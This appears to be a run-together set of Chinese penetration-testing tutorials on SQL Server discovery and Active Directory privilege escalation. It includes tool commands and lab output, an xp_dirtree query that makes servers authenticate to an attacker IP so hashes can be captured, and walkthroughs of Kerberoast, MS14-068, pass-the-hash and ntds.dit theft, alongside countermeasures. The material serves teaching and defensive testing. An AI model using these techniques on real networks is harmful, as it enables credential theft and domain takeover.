SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
----------------------------------------------------------------------
3 of 5 SQL Server instances could be accessed.
End Time: 04/01/2014 10:02:00
Total Time: 00:02:00
----------------------------------------------------------------------
2,通过LDAP从ADS获取SQL Server的列表,然后试图用当前域用户登陆每一个SQL Server。这次将输出到CSV文件中。
PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
----------------------------------------------------------------------
Start Time: 04/01/2014 10:00:00
Domain: mydomain.com
DC: dc1.mydomain.com
Getting list of SQL Server instances from DC as mydomain\myuser...
5 SQL Server instances found in LDAP.
Attempting to login into 5 SQL Server instances as mydomain\myuser...
----------------------------------------------------------------------
Failed - server1.mydomain.com is not responding to pings
Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
----------------------------------------------------------------------
3 of 5 SQL Server instances could be accessed.
End Time: 04/01/2014 10:02:00
Total Time: 00:02:00
----------------------------------------------------------------------
下面是一个上例中输出的截图。 上面的例子只是展示了我实验室中测试的结果,但是在真实环境中我通常看到成百上千的服务器。Just for fun,我同样建议你以一个域用户权限去运行这个脚本,通过使用”psexec.exe –s –I cmd.exe”之后可以获取一个本地system权限的shell。然后向上述的一样运行脚本。我想你会惊讶于登陆进了多少台SQL server,我记得我当时的样子。不管怎么说,到了攻击的例子了。 攻击者使用示例 对于SQL server来说有很多的攻击方法。下面我将介绍在脚本帮助下的五种攻击技术。 1,弱口令猜解仍然是一种有效的攻击方法。在每个客户的测试环境中,我们发现每次都有少量存在弱口令的SQL Server。通常登陆用户名包括sa,test,dba,user和sysadmin。密码则是:
,
, password, Password1和SQL。除此之外有很多的数据库弱口令猜解工具,但是我还是加了一个SQL Server登陆的参数来验证在ADS中发现的SQL Server,下面是一个示例。注意:这个参数也可以方便的发现不同服务器登录情况。
PS C:\Get-SQLServerAccess -sqluser test -sqlpass test
----------------------------------------------------------------------
Start Time: 04/01/2014 10:00:00
Domain: mydomain.com
DC: dc1.mydomain.com
Getting list of SQL Server instances from DC as mydomain\myuser...
5 SQL Server instances found in LDAP.
Attempting to login into 5 SQL Server instances as test...
----------------------------------------------------------------------
Failed - server1.mydomain.com is not responding to pings
Failed - server2.mydomain.com (192.168.1.102) is up, but authentication failed
Failed - server3.mydomain.com,1433 (192.168.1.103) is up, but authentication failed
Failed - server3.mydomain.com\SQLEXPRESS (192.168.1.103) is up, but authentication failed
SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: No - SvcIsDA: Yes
----------------------------------------------------------------------
1 of 5 SQL Server instances could be accessed.
End Time: 04/01/2014 10:02:00
Total Time: 00:02:00
----------------------------------------------------------------------
2,寻找敏感数据一直都很重要。使用自定义的”-query”参数便可以在每一个可登陆的SQL Server中查询你想要的信息。下面是一个简单的示例,演示如何列出用户可以登陆的服务器中的信息。 PS C:\Get-SQLServerAccess -query "select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1"

----------------------------------------------------------------------
Start Time: 04/01/2014 10:00:00
Domain: mydomain.com
DC: dc1.mydomain.com
Getting list of SQL Server instances from DC as mydomain\myuser...
5 SQL Server instances found in LDAP.
Attempting to login into 5 SQL Server instances as test...
----------------------------------------------------------------------
Failed - server1.mydomain.com is not responding to pings
Failed - server2.mydomain.com (192.168.1.102) is up, but authentication failed
SUCCESS! - server3.mydomain.com,1433 (192.168.1.103)-Sysadmin:No - SvcIsDA:No
Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
Query output: Databases --------- master tempdb msdb
SUCCESS! - server3.mydomain.com\SQLEXPRESS(192.168.1.103)-Sysadmin:No-SvcIsDA:No
Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
Query output: Databases --------- master tempdb msdb
SUCCESS! - server4.mydomain.com\AppData(192.168.1.104)-Sysadmin: Yes-SvcIsDA: Yes
Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
Query output: Databases --------- master tempdb msdb PCIDataDB ApplicationDB CompanySecrects
----------------------------------------------------------------------
3 of 5 SQL Server instances could be accessed.
End Time: 04/01/2014 10:02:00
Total Time: 00:02:00
----------------------------------------------------------------------
3,捕获和破解服务帐户的密码哈希在渗透测试中同样也是一个获取SQL server服务账户权限非常有效的攻击方法,在许多场合下服务账户都有环境中所有SQL Server管理员权限,偶尔账户也会有域管理权限。我曾经写了一篇关于捕获中继SQL Server服务账户密码hash的文章(here)。然而,我提供过一种使用”-query”参数快速使SQL Server认证192.168.1.50攻击者的IP的方法。
PS C:\ Get-SQLServerAccess -query "exec master..xp_dirtree '\\192.168.1.50\file'"
----------------------------------------------------------------------
Start Time: 04/01/2014 10:00:00
Domain: mydomain.com
DC: dc1.mydomain.com
Getting list of SQL Server instances from DC as mydomain\myuser...
5 SQL Server instances found in LDAP.
Attempting to login into 5 SQL Server instances as mydomain\myuser...
----------------------------------------------------------------------
Failed - server1.mydomain.com is not responding to pings
Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file'
SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file'
SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file'
----------------------------------------------------------------------
3 of 5 SQL Server instances could be accessed.
End Time: 04/01/2014 10:02:00
Total Time: 00:02:00
----------------------------------------------------------------------
有一个非常棒的工具叫做Responder可以捕获从任意SQL server传递过来的密码hash。它可以从这里下载here。最后,hash可以使用OCLHashcat破解。
http://hashcat.net/oclhashcat/
4,针对共享SQL Server服务帐户,执行SMB中继攻击几乎总是有效的。麻烦的是找出哪个SQL Server配置使用的是同一个服务账户。为了解决这个问题,我同样也在脚本中添加了几个参数来显示出所有服务账户。这些参数包括”-showsum”和”-showstatus”。服务账户同样也可以输出至csv文件中。一旦被发现,我博客之前提到的方法
https://www.netspi.com/blog/entryid/139/executing-smb-relay-attacks-via-sql-server-using-metasploit
就可以用来获取SQL Server系统级权限。下面是一个基础的例子展示如何发现使用相同服务账户的SQL Server:
PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
----------------------------------------------------------------------
Start Time: 04/01/2014 10:00:00
Domain: mydomain.com
DC: dc1.mydomain.com
Getting list of SQL Server instances from DC as mydomain\myuser...
5 SQL Server instances found in LDAP.
Attempting to login into 5 SQL Server instances as mydomain\myuser...
----------------------------------------------------------------------
Failed - server1.mydomain.com is not responding to pings
SUCCESS! - server2.mydomain.com\AppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No
SUCCESS! - server3.mydomain.com\AppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No
SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
----------------------------------------------------------------------
3 of 5 SQL Server instances could be accessed.
End Time: 04/01/2014 10:02:00
Total Time: 00:02:00
----------------------------------------------------------------------
在这个例子中,你可以看到其中有三个都在使用同一个域共享服务账户。 5,爬取数据库链接执行sysadmin权限查询也是一个几乎在所有场景中应用的技术。Antti Rantasaari在他博客里发表过一个关于数据库链接非常不错的概述
https://www.netspi.com/blog/entryid/197/how-to-hack-database-links-in-sql-server
在不久前我们同样也写过一个用来攻击的metasploit模块。
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/mssql/mssql_linkcrawler.rb
尽管你可以盲目的枚举数据库链接,但是我想用脚本来抓取每一个可登陆的SQL Server的链接数会变得更方便。你可以用”-showsnum”和”-showsatus”选项来显示它们。和上一个例子相似,同样也可以输出至csv文件中。下面是上一个的例子。
PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
----------------------------------------------------------------------
Start Time: 04/01/2014 10:00:00
Domain: mydomain.com
DC: dc1.mydomain.com
Getting list of SQL Server instances from DC as mydomain\myuser...
5 SQL Server instances found in LDAP.
Attempting to login into 5 SQL Server instances as mydomain\myuser...
----------------------------------------------------------------------
Failed - server1.mydomain.com is not responding to pings
SUCCESS! - server2.mydomain.com\AppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No
SUCCESS! - server3.mydomain.com\AppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No
SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
----------------------------------------------------------------------
3 of 5 SQL Server instances could be accessed.
End Time: 04/01/2014 10:02:00
Total Time: 00:02:00
----------------------------------------------------------------------
正如你在示例所见,其中两个服务器存在链接,有可被攻击的潜在可能。

小结

下载这个脚本,用它来找到洞,然后修补它。 Have fun and hack responsibly!

前言

对于一个攻击者来说,有很多方法能在活动目录中获得域管理员权限。这篇文章旨在介绍一些当下比较流行的方法,这里介绍的方法都基于一个前提——攻击者已经获得内网中一台(或几台)机器的权限并且获得了普通域用户的账户。

SYSVOL中的密码和组策略

这种方法是最简单的,因为不需要特殊的工具就能实现。攻击者只需要打开文件管理器搜索 SYSVOL DFS 共享中的XML文件。大多数时候,groups.xml、scheduledtasks.xml、Services.xml文件中都会含有用户凭证。 SYSVOL 是活动目录中的全域共享文件夹,所有认证用户都拥有读权限。SYSVOL 中包含了登陆脚本,组策略以及其他域控制器需要需要用到的数据(因为SYSVOL会在所有域控之间自动同步和共享)。所有的组策略文件会存放在:\\\SYSVOL\\Policies\ 当一个GPP(组策略)被新建,就会有相关的组策略文件在SYSVOL中被创建,如果提供了密码,组策略文件中会同时包含AES-256位的加密后的密码数据,这加密似乎是足够安全了。 除了Windows 2012之前的某些系统,微软在MSDN中提供了解密所需要的AES私钥。
https://wooyun.js.org/drops/%E4%BB%8E%E6%B4%BB%E5%8A%A8%E7%9B%AE%E5%BD%95%E8%8E%B7%E5%8F%96%E5%9F%9F%E7%AE%A1%E7%90%86%E5%91%98%E6%9D%83%E9%99%90%E7%9A%84%E5%90%84%E7%A7%8D%E5%A7%BF%E5%8A%BF.html
因为认证用户(信任域中的用户)都具有SYSVOL的读权限,任何人都可以搜索包含“cpassword”字段的XML文件,而里面正好有AES加密后的密码。 有了这类XML的访问权限,攻击者可以用AES私钥解密GPP密码。PowerSploit的Get-GPPPassword函数被认为最好用的攻击实现,下面的截图展示了一个类似的PowerShell函数正在解密在SYSVOL中找到的XML文件中包含的密码。 其他文件类型,例如.vbs和.bat也可能包含嵌入的密码(经常是明文)。 你可能会觉得已经发布的补丁能够防止用户凭证被放置在组策略配置文件中,所以这个问题得到了证明。事实证明,笔者在渗透测试中仍然能在SYSVOL目录中中找到用户凭证。
对策:

-在每台电脑上都安装上KB2962486补丁,可以防止新的用户凭证被放到组策略配置文件当中。 删除SYSVOL目录中包含密码的GPP xml文件。 不要把密码放在所有认证用户都有权访问的文件当中。

Finding Passwords in SYSVOL & Exploiting Group Policy Preferences

针对没打补丁的域控利用MS14-068漏洞

距离MS14-068的补丁KB3011780发布已经有超过一年时间了,也出现了很多方法来确保针对MS14-068的攻击被检测和识别出来。然而这并不意味着域控就一定打上了补丁或者配置了监测系统。很多公司机构在补丁发布后的一个月内打上了补丁;但是不能保证每台新上线的域控都在被配置好之前就打上了补丁。 感谢Gavin Milard(@gmillard on Twitter),我们有了以下的图,很好地解释这个漏洞。 简单来讲,通过MS14-048,攻击者可以在五分钟内重写有效的Kerberos TGT 认证票据并且成为域管理员(企业管理员)。攻击原理就像上面的机票一样,随便写上“飞行员”字样就能通过认证,登上飞机就能理所当然地坐到驾驶舱冒充飞行员享受咖啡福利。 第一个EXP在补丁发布后的两周后被公布,叫做PyKEK,作者是Sylvain Monné (@BiDOrD). PyKEK是一个能在所有安装了python的机器(Raspberry Pi?)上运行的脚本,只要机器能连接到一台没打补丁的域控就能发挥作用。它会生成一个ccache文件。用Mimikatz可以把这个生成的ccache文件注入到内存当中,攻击者就能成为域管理员!有了这个票据,就能被允许访问域控上面的admin$共享! 限制条件:打了补丁或者域中有Win2012/2012R2 域控 利用MS14-068的步骤:
1 作为普通用户向域控请求一个没有PAC的Kerberos TGT认证的票据,域控会返回一个TGT(不包含PAC,PAC通常包含有用户组中的成员关系) 生成一个伪造的PAC,因为没有密钥,所以生成的PAC“被标记”有MD5算法,而不是带有域用户密码数据的HMAC_MD5类型。 把伪造的PAC结合上TGT构造认证数据,作为TGS服务的一部分发送到域控。 域控会混淆构造的数据,所以直接丢弃之前用户发送没带有PAC的TGT,然后新构造一个TGT并用自己的认证数据插入到伪造的PAC当中,再把新TGT发送给用户 这样带有伪造PAC的TGT就能使用户成为有漏洞域控上的域管理员。
Benjamin Delpy(Mimikatz 的作者)写了一个MS14-068的利用工具,叫Kekeo,是PyKEK的升级版。它能够找到并定位有漏洞的域控,在打了补丁和有2012/2012R2域控的情况下仍能奏效。实现的步骤和PyKEK基本相同,不过在最后加了一个步骤,以此获得一个能在域中所有域控利用的TGT。它利用攻击生成的TGT来获取一个到处都能用的TGT。
对策:

- 确保机器在运行DCPromo命令(被提升为域控)前就安装上了KB3011780补丁。一个快速简单的方法是用PowerShell命令:get-hotfix 3011780 同时,为机器开启自动安装关键补丁的选项。

Kerberos TGS 服务 Ticket离线破解(Kerberoast)

Kerberoast 能够在不对目标系统发送任何数据的情况下用普通用户身份从活动目录中提取服务的账户凭证。人们总是设置弱口令,所以这种攻击往往能够得逞。这种攻击能够成功的原因是:大多数服务账户的密码都和域的密码最短长度限制一样长(通常是10个或12个字符),这意味着即使是采用暴力破解的方式,所花费的时间也不太可能超过密码过期时限。有的服务账户甚至还没有设置密码过期时限,所以同一个密码能够用个一年半载的也不足为奇。更好玩的是,大多数服务账户都有权限过大的问题,通常还是域管理员组的成员,有着对活动目录的全部权限(尽管有时候服务账户只需要修改某些特定对象的属性或者只需在特定服务上拥有管理权限)。
注意:这种攻击对Windows系统管理的目标服务不会成功,因为这类服务会在活动目录中映射成为一个有着128位长密码的账户,这么长的密码不可能在短时间内破解出来。
攻击的步骤包括为目标的服务账户的服务器主体名称(Service Principle Name—— SPN)请求一个Kerbero服务票据 (TGS) 。这里会采用一个有效的用户认证票据(TGT)来请求一个或几个运行在服务器上的目标服务票据。域控不会检测用户是否真正连接到了这些资源上(即使用户可能真的有权限访问)。域控会在活动目录中查找SPN并且用SPN关联的用户账户把票据进行加密,以此赋予用户访问服务的权限。请求的Kerbero服务票据的加密类型是 RC4_HMAC_MD5, 这意味着服务账户的NTLM密码哈希会被用来加密服务票据。所以Kerberoast能够通过尝试不同的NTLM哈希来解开kerberos票据,一旦票据被成功解开,它的密码也就到手了。
注意:获得服务票据不需要提权,同时也不会发送数据到目标机器。
Tim Medin 在 DerbyCon 2014 上作了相关的报告:“Attacking Microsoft Kerberos Kicking the Guard Dog of Hades” (幻灯片 & 视频),同时也发布了Kerberoast Python TGS cracker。
幻灯片|https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin%281%29.pdf

视频|https://www.youtube.com/watch?v=PUyhlN-E5MU&feature=youtu.be

https://github.com/nidem/kerberoast

对策:

- 对付这种攻击最有效的对策其实是保证服务账户的密码在25位以上。 托管服务账户(Managed Service Accounts)和用户组托管服务账户(Group Managed Service Accounts)是能够确保账户密码足够长、足够复杂、并且定期更改。一些第三方的密码管理器也是管理服务账户的不错的解决方案。

Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain

“瞒天过海”

我把下面这一部分叫做“瞒天过海”,因为很难把这类攻击进行具体的归类。可以把它比作一种舞蹈。拿下一台机器,提权,导出凭证。然后用凭证跳到另外的机器上,提权,再拿下更多的凭证。 这种攻击在域中通常能很快见效,因为大多数活动目录管理员都是用一个账户登陆到一台机器上,并切会用到RunAs(使得管理员的凭证留在了本地机器上面)或者用RDP连接到一台服务器(凭证就能通过键盘记录器记录下来)。
第一步:
攻下一台机器,通过提权漏洞获取本地管理员权限。用Mimikatz或者其他类似的工具导出最近登陆过本机的用户凭证。
第二步:
用本地管理员的凭证尝试登陆到别的机器上。这常常很有效,因为本地管理员的账户密码曾经很难被配置正确(现在你可以用微软提供的 LAPS)。假如很多(甚至是所有)机器上都用着同样的账户密码,那么得到一组账户密码就相当于拥有了所有机器的管理员权限。你可以用凭证登陆到不同的机器上,直到找到域管理员的凭证。用本地账户登陆到不同机器是一种理想的做法,因为这样的登陆不需要连接到域控上面,也很少有公司机构把机器的安全日志都发送到日志中心系统(SIEM)。
第三步:
利用获取的凭证登陆到服务器上以获得更多的凭证。运行着像Microsoft Exchange Client Access Servers(CAS), Microsoft Exchange OWA, Microsoft SQL 和 Terminal Services(RDP)这类服务的服务器,很可能在内存中存留大量用户的凭证(或者是一些有域管理员权限的服务)。
第四步:
收网! 有了域管理员的凭证,就没什么能够阻止攻击者导出所有的域凭证,并在内网中维持权限。 如果有服务以域管理员的权限在所有的工作站或服务器上运行,只需要攻下一个台机器就相当与攻下了整个域活动目录。 通常来说,通过PowerShell来进行远程管理是一个很好的方法,因为PowerShell采用的是的是网络登陆(不会有凭证保存在远程机器的内存中)。这很好,微软也把RDP管理模式逐步移向这种模式。还有种方法能够用PowerShell连接到远程系统进行管理,并且能够通过CredSSP调用凭证。问题是CredSSP不够安全。 Joe Bialek 在PowerShellMagazine.com中写道:

管理员用PowerShell远程管理时遇到一个很常见的问题就是“双跃点”问题。管理员用PowerShell远程连接到服务器A上面,并且尝试在从服务器A连接到服务器B。这种情况下第二次连接不会成功。 原因是:默认情况下,PowerShell远程认证的方式是“网络登陆”。网络登陆只需要向服务器证明你拥有登陆的凭证而不需要把凭证发送过去(详情见:Kerberos 和 NTLM认证)。既然远程服务器没有你登陆的凭证,那么当你进行一次双跃点登陆(从服务器A登陆到服务器B)的时候,结果当然会失败。 为了解决这个问题,PowerShell提供了CredSSP(Credential Security Support Provider)选项。当选择了CredSSP模式,PowerShell不会进行“网络登陆”,而是进行“网络明文登陆”。网络明文登陆的工作原理是直接把用户的密码明文发送到远程服务器上。通过这种方式,服务器A获得了用户的明文密码,所以也能用它来登陆到服务器B,双跃点登陆成功。 更新:以上测试是在Windows Server 2012上面进行的。微软已经在Windows Server 2012R2和Windows8.1中限制了在内存中存放明文凭证。这意味着使用Mimikatz的攻击者们可能将不会直接看到有明文密码。不过攻击者仍能看到NT密码哈希和Kerberos TGT,这两者都能和密码产生同样的效果,可以被用于网络的登陆认证。 另外,即使明文凭证没有被存放在内存当中,它依然被发送到了远程服务器。攻击者能够向本地安全认证子系统服务(LSASS.exe)注入恶意代码并且在传输过程中截获明文密码。所以即使用Mimikatz找不到明文密码了,攻击者还是会有办法获得它。


综上所述,不要用CredSSP就对了。
还有一个类似的问题就是WinRM(PowerShell远程操作用到的东西)的“AllowUnencrypted”配置。把这个值设为“True”会禁用掉系统WinRM连接时的加密,包括PowerShell的远程操作时的密码加密。
http://blogs.msdn.com/b/powershell/archive/2015/10/27/compromising-yourself-with-winrm-s-allowunencrypted-true.aspx

从哈希传递攻击(Pass-the-hash)到凭证传递攻击(Pass-the-Credential)
大多数人都听说过哈希传递攻击(PtH),它通过找到账户相关的密码哈希(通常是NTLM密码哈希)来进行攻击。有趣的是有了PtH,就不必费时间破解密码的哈希值来获得密码明文了,因为在Windows网络中,哈希值就是用来证明身份的(知道了用户名和密码哈希值就能够通过验证)。微软自家的产品和攻击显然不会支持这种攻击,所以我们需要第三方工具来完成任务,例如:Mimikatz。 一旦攻击者找到了密码哈希,很多大门都会向他们打开,但是他们可不只有PtH这一种选择。 票据传递攻击(Pass-the-Ticket——PtT)是通过抓取现有的Kerberos票据来冒充一个用户。Mimikatz能够抓取当前用户的Kerberos票据,也能抓取每一个通过系统认证的用户的所有票据(如果配置了Kerberos委派机制的不受限访问,这可成了大问题)。一旦获得了Kerberos票据,攻击者就能用Mimikatz来传递它并访问到目标资源(当然是在Kerberos票据的有效时间内)。 超-哈希传递攻击(OverPass-the-Hash)也就是秘钥传递攻击,通过获得的密码哈希来获得Kerberos票据。这种技巧会清除当前用户的所有Kerberos秘钥(哈希值)然后把得到的哈希值注入到内存当中,以此请求获得Kerberos票据。下次访问资源需要用到Kerberos票据的时候,被注入的哈希值(现在是内存中的Kerberos秘钥)会被用来请求Kerberos票据。Mimikatz提供了实现这种攻击的功能,相比起PtH,这是更加隐秘的一种手段,因为现在已经有好几种方法能够检测到PtH。
注意: 如果获得哈希值的类型是NTLM,Kerberos票据的类型是RC4.如果哈希类型是AES,Kerberos票据类型也会是ABS。
其实还有其他种类的盗取凭证的手段,不过这几种是最常见的:
-哈希传递攻击:抓取哈希值并用来访问资源。直到用户改密码哈希值都是有效的。 票据传递攻击:抓取Kerberos票据用来访问资源。在票据有效期限内票据都会有效(一般是7天)。 超-哈希传递攻击:用密码哈希值来获得Kerberos票据。哈希值在用户改密码之前都有效。

对策:

-管理员应该为管理事务划分出专门的管理员机器。管理员的账户永远不要登陆到用来收发邮件和上网的普通机器上。这样就能降低凭证被盗取的机会。 需要注意的是智能卡不能够防止凭证被盗取,因为在访问资源的时候仍会用到账户所对应的密码哈希值。智能卡只能保证正在登陆的用户拥有智能卡,一旦被用来登陆系统,智能卡的两个验证因素就会变为一个,就是用户的密码哈希值(被存放在内存里)。还有就是,当账户设置为用智能卡登陆的时候,系统会为账户设置一个新的密码(还永远不会改变)。 在工作机和服务器上的所有本地管理员账户都应该足够长,足够复杂,足够随机,可以用微软 LAPS之类的产品来保证这点 配置组策略来放置本地管理员账户通过网络来认证登陆。下面几条简单的GPO就能阻止本地账户在通过网络登陆(包括RDP),同时也能阻止域管理员和企业管理员登陆到本地。GPO有一些几条: *禁止以下用户组从网络登陆到这台电脑:本地账户,企业管理员,域管理员 *禁止以下用户组从远程桌面登陆:本地账户,企业管理员,域管理员 *禁止以下用户组本地登陆:企业管理员,域管理员

获取访问活动目录数据库文件的权限(ntds.dit)
活动目录数据库(ntds.dit)包含了活动目录域中所有对象的所有信息。这个数据库中的数据会被复制到域中的所有域控。这个文件照样包含了所有域用户和计算机账户的密码哈希值。只有能登陆到域控上的用户才能访问到ntds.dit文件。 显然,保护好这个文件是很重要滴,因为攻击者访问它就能导致整个域和目录林(forest)被攻陷。 下面列出了几种不用成为域管理员就能获取ntds.dit数据的方法: 备份路径(备份服务器储存,媒体,网络共享) 攻击者访问到域控的备份并在备份共享的ntds.dit文件安放后门。管理员应该确保所有能通过网络访问的保存域备份的目录都是安全的。只有域管理员可以访问它们,只要有其他人能访问,那个人就能摇身一变成为域管理员。 在准备配置成域控的服务器上找NTDS.dit文件 DCPromo 中会有一个叫IFA的步骤,也就是“从媒体安装”,这个步骤可以使服务器不通过网络来复制域中的数据。这个IFA集是NTDS.dit的拷贝,它可能出现在为新域控准备的共享目录中,也可能在还没配置成域控的服务器上找到,这样的服务器就是不安全的。 有虚拟机的管理权限,就能克隆虚拟的域控并离线获取数据 获得虚拟域控的访问权并获取域中的凭证。你有用VMWare吗?VCenter的管理员是拥有全部权限的。有了VCenter的管理员权限,就能克隆域控直接把数据拷贝到本地。 在VM被挂起的情况下,还可以从虚拟机内存直接提取LSASS数据。不要小看虚拟机管理员在虚拟域控上所拥有的能力。 如果你的VCenter管理员组在活动目录里,你应该考虑改掉它。 对合适的用户组赋予恰当的权限,不要给攻击者提供通过服务器管理员权限给整个活动目录安装后门的能力。 你的虚拟机管理员应该被视作是与管理员(如果有虚拟域控的话) 获取一个有权登陆域控的账户 在活动目录中有几个组不应该有登陆域控的默认权限。
以下是默认有权登陆域控的用户组:

-Enterprise Admins (目录林管理员组) Domain Admins(域管理员组) Administrators Backup Operators Account Operators Print Operators
这意味着如果一个攻击者能够拿下Account Operators或者Print Operators中的一个账户,整个活动目录就可能被攻陷,因为这些用户组有登陆到域控的权限。
对策:

-限制用户组/账户登陆到域控的权限 避免用户组/账户拥有对活动目录的全部权限,尤其是服务账户 保护好每一个活动目录数据库(ntds.dit)的拷贝,不要把它放在信任级别低于域控的任何地方。
那么问题来了,如果一个账户被赋予登陆域控的权限,接下来会发生什么? 如果一个账户有权登陆域控,二话不说当然是把域控的用户凭证拖下来。
https://adsecurity.org/?p=1929

https://adsecurity.org/?p=1640

参考链接:

https://adsecurity.org/?page_id=1352

https://adsecurity.org/?page_id=1821

https://adsecurity.org/?p=1684

https://adsecurity.org/?p=2288

https://adsecurity.org/?tag=ms14068

https://adsecurity.org/?p=2293

https://adsecurity.org/?p=2398

http://adsecurity.org/?p=384 Sneaky Active Directory Persistence Tricks|https://adsecurity.org/?p=1929

https://adsecurity.org/?p=1640

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1

https://adsecurity.org/?p=63

https://adsecurity.org/?p=1790

译后记

drops和zone上已经有很多域渗透相关的资料了,尤其是三好学生发表的一系列文章,在实战中具有很好的参考意义。翻译的这篇文章里面大多数方法的详细利用步骤都能在drops上找到,文章的意义在于给刚进入内网的同学提供思路和方向。 至于工具方面个人也有一些体会,首先Mimikatz是域渗透中必不可少的神器,就像猪猪侠说的: 撸域控,就是先搞定域里面的任何一台机器,想办法弄到SYSTEM权限,mimikataz一上,就收工了。 域渗透,mimikataz出来后,几乎没有新思路了。 其实思路还是有的,就像上面就提供了不少出了Mimikatz之外的思路。一个新趋势就是域渗透逐渐在往PowerShell上做文章,攻防两方都在PowerShell研究出了不少新方法。工具方面一个是PowerTools,集合了很多神奇好用的PowerShell脚本,包括提权,维持权限,还有一些SMB相关的攻击应用等。另一个就是Empire,可谓是PowerShell在后渗透阶段的集大成者。 最后不能不提的当然是以上两个工具作者harmj0y的博客,上面经常会发布很多域渗透相关的猥琐思路

背景

如果你是一个渗透测试师,那么你大概早都清楚从一个本地管理员权限提升至域管理员权限只需要几步就可以,这些步骤通常是通过不同的方法来偷取域管理密码,密码hash,或者是认证token,如果你不幸遇到没有域管登陆的系统然后就只能放弃,然后再去找有域管登陆的机器。一段时间前我写了一篇文章 “5 Ways to Find Systems Running Domain Admin Processes” 其中列出了一些常见的方法,但是最近我又发现了另外一种方法,所以在这篇文章里我会介绍通过LDAP查询” ServicePrincipleName”属性来找到域管可能登陆的机器的方法。同样也会给出一些Powershell模块来自动化完成,希望这对渗透测试师和想知道域管理账号在哪里登陆的管理员们起到帮助。
https://www.netspi.com/blog/entryid/132/5-ways-to-find-systems-running-domain-admin-processes

LDAP概述

对于那些并不熟悉Lightwieght Directory Access Protocol (LDAP)人来讲,它大概像是一个目录信息。虽然LDAP在很多平台被使用,但在windows的域环境中它却是 Active Directory Services (ADS)的核心,ADS负责windows域的认证和授权,但也储存了大量的信息,这些信息包括但不限于域用户,计算机用户,域用户组,安全策略和软件更新。每一个对象都有多种属性与之关联,并且其中大部分的属性都可以通过LDAP查询。比如每一个用户都有一个”Created”的属性包含了账号创建时间。同样的每一个账户都有一个” ServicePrincipleName”属性,这也是本文接下来的重点。
http://en.wikipedia.org/wiki/Ldap

http://en.wikipedia.org/wiki/Active_Directory

ServicePrincipleName 概述

微软的文档中是这样陈述的:”ServicePrincipleName(SPN)是客户端用来唯一标识一个服务实例的名称”,在略读后发现这大概为了便利widnows域中的Kerberos 认证,但我们可以用它来做一些其他的事,对于我们来说,多值的ServicePrincipleName是很方便的。
http://technet.microsoft.com/en-us/library/bb742516.aspx
因为在Active Directory中任何一个用户和计算机对象都储存了账户在域中的运行的服务信息。所以这就可以很方便的定位像IIS、SQL Server,及LDAP。同样也可以很方便的查询到对应的用户在哪里登陆(比如域管理员)。这相对来说要简单些,因为SPN有一个标准化的命令约定。SPN格式为SERVICE/HOST,但有时也会包含端口像 SERVICE/HOST:PORT。 比如,如果一个域用户曾在acme.com域中运行DNS和SQL Server服务,那么SPN项看起来就像是这样:
DNS/Server1.acme.com MSSQLSvc/Server2.acme.com:1433
在LDAP中可以非常直截了当的查询基础的SPN信息,比如一个经过认证的用户就可以用adfind.exe (www.joeware.net) 与下面的命令来列出域中注册的所有的SQL Server实例:
C: >Adfind.exe -f "ServicePrincipalName=MSSQLSvc*"
同样windows server 2008中的”setspn.exe”工具也可以针对某个用户快速查询SPN:
C: >setspn.exe –l user1
在以前的渗透测试中,我发现企业通常都存在域管理员运行服务的现象,结果是在提权阶段简单的在LDAP中查询域管用户的信息然后检查SPN项大概就可以找到其登陆过的服务器。然而adfind和setspn都缺少默认选项来快速查询SPN,所以我写了一个Powershell模块”Get-SPN”来简化这一步骤。
https://github.com/nullbind/Powershellery/blob/master/Stable-ish/Get-SPN/Get-SPN.psm1

Get-SPN PowerShell Module

Get-SPN这个模块提供了一种简单的方法在LDAP中快速查询符合指定的用户、组、或者SPN服务名称。对于那些有兴趣的人可以在我的Github上下载。
下载地址|https://github.com/nullbind/Powershellery/blob/master/Stable-ish/Get-SPN/Get-SPN.psm1
